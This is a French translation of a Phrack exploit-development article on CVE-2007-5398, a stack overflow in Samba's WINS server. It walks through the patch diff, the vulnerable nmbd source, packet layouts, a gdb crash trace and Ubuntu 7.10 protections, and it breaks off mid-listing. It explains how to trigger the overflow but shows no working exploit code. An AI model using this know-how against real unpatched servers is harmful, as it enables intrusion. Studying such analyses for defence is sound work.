Version txt

                             ==Phrack Inc.==

               Volume 0x0c, Issue 0x41, Phile #0x0c of 0x0f


|=-----------------------------------------------------------------------=|
|=--------------=[     L'art de l'exploitation :      ]=-----------------=|
|=--------=[ analyse de débordement de pile dans Samba WINS ]=-----------=|
|=--------------------------=[ CVE-2007-5398 ]=--------------------------=|
|=-----------------------------------------------------------------------=|
|=-----------------------------------------------------------------------=|
|=------------=[     By max_packetz@felinemenace.org     ]=--------------=|
|=-----------------------------------------------------------------------=|
|=----------------=[ traduit par deny pour arsouyes.org ]=---------------=|


--[ 1 - Introduction

Le 15 Novembre 2007, l'équipe de Samba a diffusé un bulletin de sécurité
[1], détaillant un débordement de pile dans le démon nmbd, particulièrement 
dans la fonction reply_netbios_packet() de nmbd/nmbd_packets.c.

Cette vulnérabilité requiert un ensemble d'opérations de configuration 
particulière non standard dans smb.conf afin d'activer le chemin du code. Il 
faut spécifiquement définir wins support = yes. Cette vulnérabilité 
particulière ne sera pas présente dans une installation par défaut, pas plus 
qu'elle n'est susceptible d'être trouvée au hasard. Indépendamment de cela, 
il s'agit d'une faille relativement courante, avec rien qui ne la distingue. 

Cet article donnera lieu à des commentaires et des analyses personnelles 
lors de l'analyse et de l'exploitation de ce bogue, chaque petite correction 
de l'article aura lieu ensuite .. ainsi, si j'invente quelque chose ou si je 
découvre plus tard quelque chose d'exploitable que j'ai manqué auparavant, 
vous pourrez tout lire à ce propos.

Tout d'abord, je m'intéresserai à la manière dont cela affecte  Ubuntu 7.10  
par défaut, cependant, plus tard ceci peut changer s'il s'avère que ce n'est 
pas exploitable, en raison des nombreux mécanismes de protection.	

--[ 2 - Analyse initiale

La différence entre samba-3.0.26 et samba-3.0.27 est affichée directement 
ci-dessous :

---------------------------------------------
--- samba-3.0.26/source/nmbd/nmbd_packets.c     
+++ samba-3.0.27/source/nmbd/nmbd_packets.c    
@@ -963,6 +963,12 @@
nmb->answers->ttl      = ttl;
	
	if (data && len) {
	+               if (len < 0 || len > sizeof(nmb->answers->rdata)) {
		+                       DEBUG(5,("reply_netbios_packet: "
		+                               "invalid packet len (%d)
",
		+                               len ));
		+                       return;
		+               }
		nmb->answers->rdlength = len;
			memcpy(nmb->answers->rdata, data, len);
			}
---------------------------------------------	

Les contrôles supplémentaires ajoutés rendent le problème immédiatement 
évident. En observant la déclaration de fonction de reply_netbios_packet(), 
on note :

---------------------------------------------
void reply_netbios_packet(struct packet_struct *orig_packet,
	int rcode, enum netbios_reply_type_code rcv_code, int opcode,
	int ttl, char *data, int len)
{
        struct packet_struct packet;
        struct nmb_packet *nmb = NULL;
        struct res_rec answers;
        struct nmb_packet *orig_nmb = &orig_packet->packet.nmb;
        BOOL loopback_this_packet = False;
        int rr_type = RR_TYPE_NB;
        const char *packet_type = "unknown";

        /* Check if we are sending to or from ourselves. */
        if( ismyip(orig_packet->ip) && 
	    (orig_packet->port == global_nmb_port)
	  )
                loopback_this_packet = True;

        nmb = &packet.packet.nmb;
	..
---------------------------------------------


En vérifiant pour savoir combien d'espace est alloué à nmb->answers->rdata, 
on voit :	

---------------------------------------------
/* A resource record. */
struct res_rec {
        struct nmb_name rr_name;
        int rr_type;
        int rr_class;
        int ttl;
        int rdlength;
        char rdata[MAX_DGRAM_SIZE];
};

nameserv.h:#define MAX_DGRAM_SIZE (576) /* tcp/ip datagram limit 
is 576 bytes */
---------------------------------------------

Pour déclencher cette vulnérabilité, on doit savoir comment placer le code 
dans un état vulnérable (avec un champ len volumineux, supérieur à 576 
octets.)


Grâce à grep -A 6 reply_netbios_ * | less dans source/nmbd, on voit quelque 
chose de particulièrement intéressant, particulièrement à cause de la 
directive mentionnant que wins support = yes doit être configuré.

---------------------------------------------
nmbd_winsserver.c:    reply_netbios_packet(p,   /* Packet to reply to. */
nmbd_winsserver.c-                   0,/* Result code. */
nmbd_winsserver.c-                   WINS_QUERY,    /* nmbd type code. */
nmbd_winsserver.c-                   NMB_NAME_QUERY_OPCODE,  /* opcode. */
nmbd_winsserver.c-                   lp_min_wins_ttl(),      /* ttl. */
nmbd_winsserver.c-                   prdata,           /* data to send. */
nmbd_winsserver.c-                   num_ips*6);        /* data length. */
----------------------------------------------

En examinant plus attentivement ce code, on voit qu'il est appelé dans la 
fonction process_wins_dmb_query_request(). Il parcourt tous les hôtes 
enregistrés de type 0x1b, les compte, alloue de la mémoire, parcourt de 
nouveau la liste liée et enregistre les adresses IPs et les drapeaux 
associés à ces enregistrements. Plus avant, le code ne fait aucune 
vérification sur les données qu'il est sur le point de transmettre à la 
fonction reply_netbios_packet().

Le code suivant dans la fonction process_wins_dmb_query_request() de 
nmbd_winsserver.c présente un intérêt particulier :

----------------------------------------------
  for(i = 0; i < namerec->data.num_ips; i++) {
    set_nb_flags(&prdata[num_ips * 6],namerec->data.nb_flags);
    putip((char *)&prdata[(num_ips * 6) + 2], &namerec->data.ip[i]);
    num_ips++;
  }
----------------------------------------------

Il construit les données destinées à être traitée avec memcpy() plus tard, 
incrémentées de 6 octets. Cela pourrait poser un problème plus tard, puisque 
la disposition de la pile pourrait devoir être contrôlée avec une extrême 
précision, et les détails du nb_flags pourraient être validés.	

Puisque le chemin de ce code semble plausible, nous allons commencer à 
construire un code pour déclencher cette vulnérabilité.

En prélevant un paquet et le chargeant dans WireShark [2], on peut chercher 
un hôte WINS étant enregistré et commencer à travailler sur un exploit. 
Jusqu'ici pour déclencher cette vulnérabilité depuis la lecture du code, on 
a besoin d'approximativement (576 / 6) enregistrements de type 0x1b, puis on 
doit rechercher tous les enregistrements 0x1b.

-----------------------------------------------
NetBIOS Name Service
    Transaction ID: 0x7b60
    Flags: 0x2910 (Registration)
        0... .... .... .... = Response: Message is a query
        .010 1... .... .... = Opcode: Registration (5)
        .... ..0. .... .... = Truncated: Message is not truncated
        .... ...1 .... .... = Recursion desired: Do query recursively
        .... .... ...1 .... = Broadcast: Broadcast packet
    Questions: 1
    Answer RRs: 0
    Authority RRs: 0
    Additional RRs: 1
    Queries
        VULN<20>: type NB, class IN
            Name: VULN<20> (Server service)
            Type: NB
            Class: IN
    Additional records
        VULN<20>: type NB, class IN
            Name: VULN<20> (Server service)
            Type: NB
            Class: IN
            Time to live: 0 time
            Data length: 6
            Flags: 0x6000 (H-node, unique)
                0... .... .... .... = Unique name
                .11. .... .... .... = H-node
            Addr: 10.1.1.3
------------------------------------------------

* L'ID de transaction a n'importe quelle valeur sur 16 bits.
* Flags a une valeur spécifique, sur 16 bits.
* Questions a une valeur sur 16 bits.
* Answer RRs a une valeur sur 16 bits.
* Authority RRs a une valeur sur 16 bits.
* Additional RRs a une valeur sur 16 bits.

La section Queries est une chaîne de 32 octets, qui encode le type 
d'enregistrement, en plus de l'information du type ou de la classe. La 
section Additional records s'appelle 0xc0 0x0c, ce qui semble indiquer le 
nom précédemment desarchivé. Plus avant, l'information de type et de classe 
est présente, avec la durée de vie, l'information au sujet du drapeau de 
l'hôte et l'information d'adresse.

Il semblerait que lorsque l'enregistrement s'effectue, Samba extrait le 
champ des drapeaux dans l'enregistrement supplémentaire ainsi que 
l'information d'adresse IP, et l'insère dans la liste liée.

En sachant cela, on peut commencer nos tentatives d'exploitation de Samba en 
utilisant cette vulnérabilité. Pour réduire la quantité de travail qui doit 
être effectuée, nous utilisons impacket [3]

Après avoir écrit un exploit préliminaire, on peut vérifier que le chemin du 
code que nous avons choisi est correct. Le code déclenchant la vulnérabilité 
est inclus. Nous développerons l'exploit contre une installation par défaut 
du serveur   Ubuntu 7.10 .

Le crash ressemble à ça :

------------------------------------------------
Program received signal SIGSEGV, Segmentation fault.
[Switching to Thread -1213143376 (LWP 31330)]
0x080cd22e in ?? ()
(gdb) x/10i 
0x80cd22e:      cmp    (%ecx),%al
0x80cd230:      jne    0x80cd242
0x80cd232:      movzbl 0xffff0bde(%ebx),%eax
0x80cd239:      cmp    0x1(%ecx),%al
0x80cd23c:      je     0x80cd35d
0x80cd242:      mov    0xffffffbc(%ebp),%edx
0x80cd245:      lea    0xffffffe0(%ebp),%esi
0x80cd248:      mov    0x50(%edx),%eax
0x80cd24b:      movl   $0x20,0x8(%esp)
0x80cd253:      mov    %edx,0x4(%esp)
(gdb) i r ecx
ecx            0x6b6a6968       1802135912
(gdb) bt
#0  0x080cd22e in ?? ()
#1  0xbfe959c8 in ?? ()
#2  0x08138721 in ?? ()
#3  0x00000000 in ?? ()
------------------------------------------------

La valeur dans ecx, 0x6b6a6968 est tirée du code déclenché ci-dessus, dans 
la fonction CreatePackets(), dans la variable ip. Cela nous donne au moins 
un point de départ pour exploiter le service.


--[ 3 - Les mécanisme de sécurité d' Ubuntu 7.10

Voici un rapide récapitulatif des mécanismes préventifs de sécurité que l'on 
peut observer dans l'installation par défaut de   Ubuntu 7.10 	

 *  dmesg  affiche la protection NX : active
 * /proc/pid/maps pour nmbd ressemble à :

-------------------------------------------------
08048000-08145000 r-xp 00000000 08:01 462765     /usr/sbin/nmbd
08145000-08150000 rw-p 000fc000 08:01 462765     /usr/sbin/nmbd
08150000-081ea000 rw-p 08150000 00:00 0          [heap]
...
b7fdd000-b7ff7000 r-xp 00000000 08:01 279708     /lib/ld-2.6.1.so
b7ff7000-b7ff9000 rw-p 00019000 08:01 279708     /lib/ld-2.6.1.so
bfbc9000-bfbdf000 rw-p bfbc9000 00:00 0          [stack]
ffffe000-fffff000 r-xp 00000000 00:00 0          [vdso]
--------------------------------------------------

Ainsi, tandis que la non-exécution peut être active sous une certaine forme, 
il semble qu'il puisse y avoir quelques voies vers un retour vers le code ou 
un saut vers le mappage de static vdso.

 * Il est évident qu'il y a une implémentation du cookie de la pile
   utilisé par le compilateur qui fabrique nmbd - du fait du résultat
   en sortie des chaînes.	

--------------------------------------------------
# strings /usr/sbin/nmbd | grep -i stack | head -n 1
__stack_chk_fail
---------------------------------------------------

 * Apparmor de SuSE est installé, cependant un bref coup d'oeil
   montre qu'il ne semble pas être utilisé ?

---------------------------------------------------
# apparmor_status 
apparmor module is loaded.
0 profiles are loaded.
0 profiles are in enforce mode.
0 profiles are in complain mode.
0 processes have profiles defined.
0 processes are in enforce mode :
0 processes are in complain mode.
0 processes are unconfined but have a profile defined.
---------------------------------------------------

Je conjecturerais que toutes les régions de la mémoire sont exécutables .. 
mais nous allons voir comment procéder.

Jusqu'ici, les seules choses qui peuvent nous gêner sont :

 * l'exploit se fait à l'aveugle (à moins qu'une fuite dans
   la mémoire soit trouvé -  sur laquelle on pourra travailler
   plus tard .. ou si nous sommes chanceux, l'adresse de
   mémoire statique qu'on peut utiliser)
 * La randomisation de la mémoire (un petit peu, nous avons un
   .text statique et un vdso statique)
 * L'examen du cookie de la pile peut influencer (négativement
   ou positivement) les moyens dont nous disposons pour exploiter
   le démon.


--[ 4 - Parcourir le code source

Pour exploiter la vulnérabilité, on doit faire certaines choses :

 * examiner quel champ des drapeaux peut être utilisé, puisque nos
   exploitations techniques doivent garder ceci à l'esprit, ou le
   shellcode ou les adresses que nous utilisons pourront être affectés
   en quelque sorte.
 * Analyser exactement ce que nous débordons, et ce qui est affecté
   par le débordement de la pile.
 * Manoeuvrer pour prendre le contrôle du débordement de la mémoire.

Pour faciliter le développement de l'exploit, on peut installer le paquetage 
samba-dbg livré avec  Ubuntu 7.10 . Le paquetage samba-dbg a des symboles 
applicables aux binaires et aux librairies de samba. Cela peut nous aider 
grandement à exploiter la vulnérabilité, car il fournira des noms de 
variable, des informations sur les fonctions et plus encore.

Puisque nous avons déclenché la vulnérabilité, c'est probablement une bonne 
idée de commencer à lire dans les paquets et de trouver où la mémoire est 
utilisée ou définie, et nous orienter vers memcpy(), puis de suivre ce qui 
suit ici.

Le serveur nmbd a une boucle principale de traitement, appelée assez 
étrangement process(), dans nmbd/nmbd.c.

Elle lit et aligne les paquets de réseau, puis traite ces derniers comme 
ci-dessous :

------------------------------------------
		/*
		 * Lire les paquets UDP entrants.
		 * (nmbd_packets.c)
		 */

		if(listen_for_packets(run_election))
			return;

		...

		/*
		 * Traite tous les paquets entrants lus ci-dessus. Ceci 
		 * appelle les fonctions success et failure enregistrées
		 * quand survient la réponse des paquets, et traite
		 * également la requête des paquets provenant d'autres
		 * sources. (nmbd_packets.c)
		 */

		run_packet_queue();
-------------------------------------------

Ce qui n'intervient pas dans l'exécution du fichier nmbd/nmbd_packets.c, 
dans run_packet_queue()

run_packet_queue() traite une liste de paquets (comme son nom le suggère), 
identifiant s'il s'agit d'un paquet NMB, ou un paquet dgram. S'il s'agit 
d'un paquetNMB, il vérifie s'il s'agit ou non d'une requête, ou d'une réponse.

Pendant que nous traitons un type de requête, il remet l'exécution de 
process_nmb_request() (qui est dans le même fichier que précédemment, 
nmbd/nmbd_packets.c).

process_nmb_request() examine le code opération et remet l'exécution de 
wins_process_name_query_request() dans nmbd/nmbd_winsserver.c

Un extrait partiel de wins_process_name_query_request() est affiché 
ci-dessous :


--------------------------------------------
1879 /*********************************************************************
1880  Traitement d'un nom de requête.
1881 *********************************************************************/
1882 
1883 void wins_process_name_query_request(struct subnet_record *subrec,
1884                                      struct packet_struct *p)
1885 {
1886         struct nmb_packet *nmb = &p->packet.nmb;
1887         struct nmb_name *question = &nmb->question.question_name;
1888         struct name_record *namerec = NULL;
1889         unstring qname;
1890 
1891 DEBUG(3,(
         "wins_process_name_query: name query for name %s from IP %s
",
1892                 nmb_namestr(question), inet_ntoa(p->ip) ));
1893 
1894         /*
1895          * Nom de code spécial. Si le nom requis est *<1b> alors
                chercher dans la base de données entière et
1996          * renvoyer une liste de toutes les adresses IPs 
1897          * enregistré sous n'importe quel nom <1b>.  Cela doit
                permettre aux navigateurs du maître du domaine 
1898          * de découvrir d'autres domaines qui peuvent ne pas être
                présent dans leur sous-réseau.
1899          */
1900 
1901         pull_ascii_nstring(qname, sizeof(qname), question->name);
1902         if(strequal( qname, "*") && (question->name_type == 0x1b)) {
1903                 process_wins_dmb_query_request( subrec, p);
1904                 return;
1905         }
1906
--------------------------------------------

Puisque notre paquet déclencheur correspond à ce qui est demandé à la ligne 
1902, nous sautons alors de nouveau vers  process_wins_dmb_query_request 
dans nmbd_winsserver.c. Des commentaires sont inclus.

--------------------------------------------
1749 /********************************************************************
1750  Traitement de du nom spécial de la requête pour *<1b>
1751 ********************************************************************/
1752 
1753 static void process_wins_dmb_query_request(
                                             struct subnet_record *subrec,
1754                                         struct packet_struct *p)
1755 {
1756         struct name_record *namerec = NULL;
1757         char *prdata;
1758         int num_ips;
1759 
1760         /*
1761          * Parcourt tous les noms ACTIVE names dans la base de donnée
                WINS cherchant ceux qui finissent par 
1762          * <1b>. Emploie ceci pour calculer le nombre d'adresses
                IP à renvoyer
1763          * 
1764          */
1765 
1766         num_ips = 0;
1767 
1768         /* Tout d'abord, efface la liste en mémoire - nous allons la
                repeupler avec 
1769            tdb_traversal dans fetch_all_active_wins_1b_names. */
1770 
1771         wins_delete_all_tmp_in_memory_records();
1772 
1773         fetch_all_active_wins_1b_names();
1774 
1775         for( namerec = subrec->namelist; namerec; namerec = 
                             namerec->next ) {
1776             if( WINS_STATE_ACTIVE(namerec) &&
                           namerec->name.name_type == 0x1b) {
1777                         num_ips += namerec->data.num_ips;

Compte combien d'adresses IP sont actives, pour l'enregistrement

1778                 }
1779         }
1780 
1781         if(num_ips == 0) {
1782                 /*
1783                  * IL n'y a pas de noms 0x1b enregistrés. 
                        Le retour de la requête de nom échoue.
1784                  */
1785                 send_wins_name_query_response(NAM_ERR, p, NULL);
1786                 return;
1787         }
1788 
1789         if((prdata = (char *)SMB_MALLOC( num_ips * 6 )) == NULL) {

Alloue la mémoire temporaire demandée. La libère à la fin de la fonction.

1790         DEBUG(0,("process_wins_dmb_query_request: Malloc fail !.
"));
1791                 return;
1792         }
1793 
1794         /*
1795          * Parcourt de nouveau tous les noms dans la base de données
                WINS à la recherche de ceux finissant par  
1796          * <1b>. Ajoute leurs adresses  IP dans la liste que nous 
1797          * retournerons.
1798          */
1799 
1800         num_ips = 0;
1801         for( namerec = subrec->namelist; namerec; namerec = 
                  namerec->next ) {
1802                 if( WINS_STATE_ACTIVE(namerec) && 
                              namerec->name.name_type == 0x1b) {	

Examine la liste chainée des enregistrements de nom, à la recherche 
d'enregistrements appropriés qui répondent aux exigences ci-dessus.

803                         int i;
1804                         for(i = 0; i < namerec->data.num_ips; i++) {
1805                                 set_nb_flags(&prdata[num_ips * 6],
                                     namerec->data.nb_flags);
1806                                 putip((char *)&
                         prdata[(num_ips * 6) + 2], &namerec->data.ip[i]);
1807                                 num_ips++;
1808                         }

Copie les données dans la mémoire allouée. La mémoire est composée du type :
[2 byte flags field][4 byte ip address]

809                 }
1810         }
1811 
1812         /*
1813          * Renvoie la réponse contenant la liste d'IP.
1814          */
1815 
1816         reply_netbios_packet(p,              /* Packet to reply to. */
1817                       0,                     /* Result code. */
1818                       WINS_QUERY,            /* nmbd type code. */
1819                       NMB_NAME_QUERY_OPCODE,         /* opcode. */
1820                       lp_min_wins_ttl(),             /* ttl. */
1821                       prdata,                     /* data to send. */
1822                       num_ips*6);                 /* data length. */
1823 

Appelle reply_netbios_packet. Si num_ips*6 > 576 est atteint, cela 
déclenchera la vulnérabilité.	

824         SAFE_FREE(prdata);
1825 }
1826 
--------------------------------------------

Et en regardant reply_netbios_packet(), on voit :

--------------------------------------------
856 /*******************************************************************
857   Réponse à un nom netbios de paquet.  voir rfc1002.txt
858 ********************************************************************/
859 
860 void reply_netbios_packet(struct packet_struct *orig_packet,
861                           int rcode, enum netbios_reply_type_code 
rcv_code, 
int opcode,
862                           int ttl, char *data,int len)
863 {
864         struct packet_struct packet;

Paquet struct localement défini sur la pile

865         struct nmb_packet *nmb = NULL;
866         struct res_rec answers;
867         struct nmb_packet *orig_nmb = &orig_packet->packet.nmb;
868         BOOL loopback_this_packet = False;
869         int rr_type = RR_TYPE_NB;
870         const char *packet_type = "unknown";
871 
872         /* Vérifie si nous envoyons vers ou à nous-mêmes. */
873         if(ismyip(orig_packet->ip) && (orig_packet->port == 
               global_nmb_port))
874                 loopback_this_packet = True;
875 
876         nmb = &packet.packet.nmb;

Pointe nmb à l'intérieur du paquet ci-dessus localement déclaré.

877 
878         /* Effectue une copie partielle du paquet. Nous nettoyons le
               drapeau verrouillé et
879                         les indicateurs d'enregistrement de ressource. */
880         packet = *orig_packet;   /* Full structure copy. */
881         packet.locked = False;

Construit la réponse du paquet nmb 

882         nmb->answers = NULL;
883         nmb->nsrecs = NULL;
884         nmb->additional = NULL;
885 
886         switch (rcv_code) {
887                 case NMB_STATUS:
888                         packet_type = "nmb_status";
889                        nmb->header.nm_flags.recursion_desired = False;
890                      nmb->header.nm_flags.recursion_available = False;
891                         rr_type = RR_TYPE_NBSTAT;
892                         break;
893                 case NMB_QUERY:
894                         packet_type = "nmb_query";
895                        nmb->header.nm_flags.recursion_desired = True;
896                      nmb->header.nm_flags.recursion_available = True;
897                         if (rcode) {
898                                 rr_type = RR_TYPE_NULL;
899                         }
900                         break;
901                 case NMB_REG:
902                 case NMB_REG_REFRESH:
903                         packet_type = "nmb_reg";
904                       nmb->header.nm_flags.recursion_desired = True;
905                      nmb->header.nm_flags.recursion_available = True;
906                         break;
907                 case NMB_REL:
908                         packet_type = "nmb_rel";
909                       nmb->header.nm_flags.recursion_desired = False;
910                     nmb->header.nm_flags.recursion_available = False;
911                         break;
912                 case NMB_WAIT_ACK:
913                         packet_type = "nmb_wack";
914                       nmb->header.nm_flags.recursion_desired = False;
915                     nmb->header.nm_flags.recursion_available = False;
916                         rr_type = RR_TYPE_NULL;
917                         break;
918                 case WINS_REG:
919                         packet_type = "wins_reg";
920                       nmb->header.nm_flags.recursion_desired = True;
921                      nmb->header.nm_flags.recursion_available = True;
922                         break;
923                 case WINS_QUERY:
924                         packet_type = "wins_query";
925                      nmb->header.nm_flags.recursion_desired = True;
926                      nmb->header.nm_flags.recursion_available = True;
927                         if (rcode) {
928                                 rr_type = RR_TYPE_NULL;
929                         }
930                         break;
931                 default:
932 DEBUG(0,(
          "reply_netbios_packet: Unknown packet type: %s %s to ip %s
",
933          packet_type, nmb_namestr(&orig_nmb->question.question_name),
934                                 inet_ntoa(packet.ip)));
935                         return;
936         }
937 
938         DEBUG(4,(
  "reply_netbios_packet: envoi d'une réponse de type: %s %s to ip %s \
939 for id %hu
", packet_type, nmb_namestr
            (&orig_nmb->question.question_name),
940              inet_ntoa(packet.ip), orig_nmb->header.name_trn_id));
941 
942         nmb->header.name_trn_id = orig_nmb->header.name_trn_id;
943         nmb->header.opcode = opcode;
944         nmb->header.response = True;
945         nmb->header.nm_flags.bcast = False;
946         nmb->header.nm_flags.trunc = False;
947         nmb->header.nm_flags.authoritative = True;
948 
949         nmb->header.rcode = rcode;
950         nmb->header.qdcount = 0;
951         nmb->header.ancount = 1;
952         nmb->header.nscount = 0;
953         nmb->header.arcount = 0;
954 

Une fois construit le paquet d'en-tête nmb, commençons le spectacle.

955         memset((char*)&nmb->question,'?',sizeof(nmb->question));
956 
957         nmb->answers = &answers;
958         memset((char*)nmb->answers,'?',sizeof(*nmb->answers));

Réglage nmb->answers, placer la mémoire à zéro

959 
960         nmb->answers->rr_name  = orig_nmb->question.question_name;
961         nmb->answers->rr_type  = rr_type;
962         nmb->answers->rr_class = RR_CLASS_IN;
963         nmb->answers->ttl      = ttl;
964 
965         if (data && len) {
966                 nmb->answers->rdlength = len;
967                 memcpy(nmb->answers->rdata, data, len);

Déclenche le débordement, qui écrit dans la fonction allouée une copie de
answers->rdata, qui est définie ou mentionnée ci-dessus par :	

/* Un enregistrement de ressource. */
struct res_rec {
        struct nmb_name rr_name;
        int rr_type;
        int rr_class;
        int ttl;
        int rdlength;
        char rdata[MAX_DGRAM_SIZE];
};

nameserv.h:#define MAX_DGRAM_SIZE (576) 
/* tcp/ip datagram limit is 576 bytes */

 968         }
 969 
 970         packet.packet_type = NMB_PACKET;
 971         /* Ensure we send out on the same fd that the original
 972                 packet came in on to give the correct source IP 
             address. */
 973         packet.fd = orig_packet->fd;
 974         packet.timestamp = time(NULL);
 975 
 976         debug_nmb_packet(&packet);
 977 
 978         if(loopback_this_packet) {
 979                 struct packet_struct *lo_packet;
 980                 DEBUG(5,(
         "reply_netbios_packet: sending packet to ourselves.
"));
 981                 if((lo_packet = copy_packet(&packet)) == NULL)
 982                         return;
 983                 queue_packet(lo_packet);
 984         } else if (!send_packet(&packet)) {
 985                 DEBUG(0,(
          "reply_netbios_packet: send_packet to IP %s port %d failed
",
 986                         inet_ntoa(packet.ip),packet.port));
 987         }
 988 }
 989 
--------------------------------------------

Malheureusement, tandis que nous avons vu une mention du cookie de la pile 
et de vérifications, il s'avère que nous ne pouvons juste écrire par dessus 
l'eip enregistré et tester si le code s'exécute - , en effet, en exécutant 
l'exploit avec trop peu d'enregistrements, on a ce message :

*** stack smashing detected ***: /usr/sbin/nmbd terminated
--------------------------------------------

Cela signifie qu'il est possible que nous devrons voir ce que nous pouvons 
tirer de l'exécution de  send_packet(). send_packet() est situé dans 
libsmb/nmblib.c

En regardant send_packet(), on trouve ce qui suit :

982 /*******************************************************************
 983  Envoi d'un packet_struct.
 984 ******************************************************************/
 985 
 986 BOOL send_packet(struct packet_struct *p)
 987 {
 988         char buf[1024];
 989         int len=0;
 990 
 991         memset(buf,'?',sizeof(buf));
 992 
 993         len = build_packet(buf, p);
 994 
 995         if (!len)
 996                 return(False);
 997 
 998         return(send_udp(p->fd,buf,len,p->ip,p->port));
 999 }
1000 
--------------------------------------------


Le char buf[1024]; semble intéressant, et peut-être utile. 
Suivi par l'évident :

--------------------------------------------
 961 /*******************************************************************
 962  Linéarise un paquet.
 963 ******************************************************************/
 964 
 965 int build_packet(char *buf, struct packet_struct *p)
 966 {
 967         int len = 0;
 968 
 969         switch (p->packet_type) {
 970         case NMB_PACKET:
 971                 len = build_nmb(buf,p);
 972                 break;
 973 
 974         case DGRAM_PACKET:
 975                 len = build_dgram(buf,p);
 976                 break;
 977         }
 978 
 979         return len;
 980 }
--------------------------------------------

Suivi par l'appel une fois encore, à build_nmb():

--------------------------------------------
 881 /*******************************************************************
 882  Construit un paquet nmb prêt à envoyer.
 883 
 884  XXXX this currently relies on not being passed something that expands
 885  to a packet too big for the buffer. Eventually this should be
 886  changed to set the trunc bit so the receiver can request the rest
 887  via tcp (when that becomes supported)
 888 ******************************************************************/
 889 
 890 static int build_nmb(char *buf,struct packet_struct *p)
 891 {
 892         struct nmb_packet *nmb = &p->packet.nmb;
 893         unsigned char *ubuf = (unsigned char *)buf;
 894         int offset=0;
 895 
 896         /* put in the header */
 897         RSSVAL(ubuf,offset,nmb->header.name_trn_id);
 898         ubuf[offset+2] = (nmb->header.opcode & 0xF) << 3;
 899         if (nmb->header.response)
 900                 ubuf[offset+2] |= (1<<7);
 901         if (nmb->header.nm_flags.authoritative &&
 902                         nmb->header.response)
 903                 ubuf[offset+2] |= 0x4;
 904         if (nmb->header.nm_flags.trunc)
 905                 ubuf[offset+2] |= 0x2;
 906         if (nmb->header.nm_flags.recursion_desired)
 907                 ubuf[offset+2] |= 0x1;
 908         if (nmb->header.nm_flags.recursion_available &&
 909                         nmb->header.response)
 910                 ubuf[offset+3] |= 0x80;
 911         if (nmb->header.nm_flags.bcast)
 912                 ubuf[offset+3] |= 0x10;
 913         ubuf[offset+3] |= (nmb->header.rcode & 0xF);
 914 
 915         RSSVAL(ubuf,offset+4,nmb->header.qdcount);
 916         RSSVAL(ubuf,offset+6,nmb->header.ancount);
 917         RSSVAL(ubuf,offset+8,nmb->header.nscount);
 918         RSSVAL(ubuf,offset+10,nmb->header.arcount);
 919 
 920         offset += 12;
 921         if (nmb->header.qdcount) {
 922                 /* XXXX this doesn't handle a qdcount of > 1 */
 923                 offset += put_nmb_name((char *)ubuf,offset,
                     &nmb->question.question_name);
 924                 RSSVAL(ubuf,offset,nmb->question.question_type);
 925                 RSSVAL(ubuf,offset+2,nmb->question.question_class);
 926                 offset += 4;
 927         }
 928 
 929         if (nmb->header.ancount)
 930                 offset += 
                       put_res_rec((char *)ubuf,offset,nmb->answers,
 931                                 nmb->header.ancount);
 932 
 933         if (nmb->header.nscount)
 934                 offset += put_res_rec((char *)ubuf,offset,nmb->nsrecs,
 935                                 nmb->header.nscount);
 936 
 937         /*
 938          * The spec says we must put compressed name pointers
 939          * in the following outgoing packets :
 940          * NAME_REGISTRATION_REQUEST, NAME_REFRESH_REQUEST,
 941          * NAME_RELEASE_REQUEST.
 942          */
 943 
 944         if((nmb->header.response == False) &&
 945           ((nmb->header.opcode == NMB_NAME_REG_OPCODE) ||
 946           (nmb->header.opcode == NMB_NAME_RELEASE_OPCODE) ||
 947           (nmb->header.opcode == NMB_NAME_REFRESH_OPCODE_8) ||
 948           (nmb->header.opcode == NMB_NAME_REFRESH_OPCODE_9) ||
 949           (nmb->header.opcode == NMB_NAME_MULTIHOMED_REG_OPCODE)) &&
 950           (nmb->header.arcount == 1)) {
 951 
 952     offset += put_compressed_name_ptr(ubuf,offset,nmb->additional,12);
 953 
 954         } else if (nmb->header.arcount) {
 955             offset += put_res_rec((char *)ubuf,offset,nmb->additional,
 956                         nmb->header.arcount);
 957         }
 958         return(offset);
 959 }
--------------------------------------------

Suivant l'appel à  put_res_rec(), on voit :

--------------------------------------------
 388 
 389 /*******************************************************************
 390  Place un enregistrement de ressource dans un paquet.
 391 ******************************************************************/
 392 
 393 static int put_res_rec(char *buf,int offset,struct res_rec *recs,
            int count)
 394 {
 395         int ret=0;
 396         int i;
 397 
 398         for (i=0;i<count;i++) {
 399                 int l = put_nmb_name(buf,offset,&recs[i].rr_name);
 400                 offset += l;
 401                 ret += l;
 402                 RSSVAL(buf,offset,recs[i].rr_type);
 403                 RSSVAL(buf,offset+2,recs[i].rr_class);
 404                 RSIVAL(buf,offset+4,recs[i].ttl);
 405                 RSSVAL(buf,offset+8,recs[i].rdlength);
 406                 memcpy(buf+offset+10,recs[i].rdata,recs[i].rdlength);
 407                 offset += 10+recs[i].rdlength;
 408                 ret += 10+recs[i].rdlength;
 409         }
 410 
 411         return(ret);
 412 }
 413 
--------------------------------------------

Et suivi de put_nmb_name() :

 279 /*******************************************************************
 280  Place un nom compressé nmb dans un buffer. 
 281  Retourne la longueur du nom compressé
 282 
 283  Les noms compressés sont réellement lourds. La "compression" double la 
 284  taille. Le but est que cela signifie également que les noms compressés 
 285  se conforment au système de nom de domaine. Voir RFC1002.
 286 ******************************************************************/
 287 
 288 static int put_nmb_name(char *buf,int offset,struct nmb_name *name)
 289 {
 290         int ret,m;
 291         nstring buf1;
 292         char *p;
 293 
 294         if (strcmp(name->name,"*") == 0) {
 295                 /* special case for wildcard name */
 296                 put_name(buf1, "*", '?', name->name_type);
 297         } else {
 298                 put_name(buf1, name->name, ' ', name->name_type);
 299         }
 300 
 301         buf[offset] = 0x20;
 302 
 303         ret = 34;
 304 
 305         for (m=0;m<MAX_NETBIOSNAME_LEN;m++) {
 306                 buf[offset+1+2*m] = 'A' + ((buf1[m]>>4)&0xF);
 307                 buf[offset+2+2*m] = 'A' + (buf1[m]&0xF);
 308         }
 309         offset += 33;
 310 
 311         buf[offset] = 0;
 312 
 313         if (name->scope[0]) {
 314                 /* XXXX this scope handling needs testing */
 315                 ret += strlen(name->scope) + 1;
 316        safe_strcpy(&buf[offset+1],name->scope,sizeof(name->scope))  ;
 317 
 318                 p = &buf[offset+1];
 319                 while ((p = strchr_m(p,'.'))) {
 320                         buf[offset] = PTR_DIFF(p,&buf[offset+1]);
 321                         offset += (buf[offset] + 1);
 322                         p = &buf[offset+1];
 323                 }
 324                 buf[offset] = strlen(&buf[offset+1]);
 325         }
 326 
 327         return(ret);
 328 }
 329 
--------------------------------------------

Et put_name():

--------------------------------------------
 262 /*************************************************************     **
